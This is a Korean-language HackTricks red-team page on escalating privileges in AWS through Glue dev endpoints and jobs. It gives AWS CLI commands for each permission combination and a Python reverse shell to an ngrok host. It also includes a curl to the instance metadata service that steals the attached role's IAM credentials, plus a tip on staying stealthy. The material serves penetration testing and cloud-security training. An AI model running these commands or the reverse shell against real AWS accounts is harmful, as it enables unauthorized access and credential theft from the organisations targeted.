AWS - Glue Privesc

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

다른 HackTricks 지원 방법:

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

이 권한을 가진 사용자는 새로운 AWS Glue 개발 엔드포인트를 설정하고, 이 엔드포인트에 특정 권한을 가진 기존 서비스 역할을 할당할 수 있습니다.

설정 후 공격자는 엔드포인트의 인스턴스에 SSH로 접속하여 할당된 역할의 IAM 자격 증명을 탈취할 수 있습니다:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

은신을 위해 Glue 가상 머신 내부에서 IAM 자격 증명을 사용하는 것이 권장됩니다.

잠재적인 영향: 지정된 Glue 서비스 역할로의 권한 상승.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

이 권한을 가진 사용자는 기존 Glue 개발 엔드포인트의 SSH 키를 변경하여 SSH 액세스를 활성화할 수 있습니다. 이를 통해 공격자는 엔드포인트에 연결된 역할의 권한으로 명령을 실행할 수 있습니다:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

잠재적 영향: 사용된 glue 서비스 역할에 대한 권한 상승.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

**iam:PassRole**을 가진 사용자는 glue:CreateJob 또는 glue:UpdateJob 중 하나와 glue:StartJobRun 또는 glue:CreateTrigger 중 하나를 결합하여 AWS Glue 작업을 생성하거나 업데이트할 수 있으며, 임의의 Python 코드를 실행할 수 있는 작업을 시작할 수 있습니다. 이를 통해 역방향 쉘을 설정하는 데 악용될 수 있습니다. 이 역방향 쉘을 사용하여 Glue 작업에 연결된 역할의 IAM 자격 증명을 유출하고 해당 역할의 권한에 따라 잠재적으로 무단 액세스 또는 조치를 취할 수 있습니다:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

잠재적 영향: 지정된 글루 서비스 역할로의 권한 상승.

glue:UpdateJob

업데이트 권한만 있어도 공격자가 이미 연결된 역할의 IAM 자격 증명을 도난할 수 있습니다.

잠재적 영향: 연결된 글루 서비스 역할로의 권한 상승.

참고 자료

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

最終更新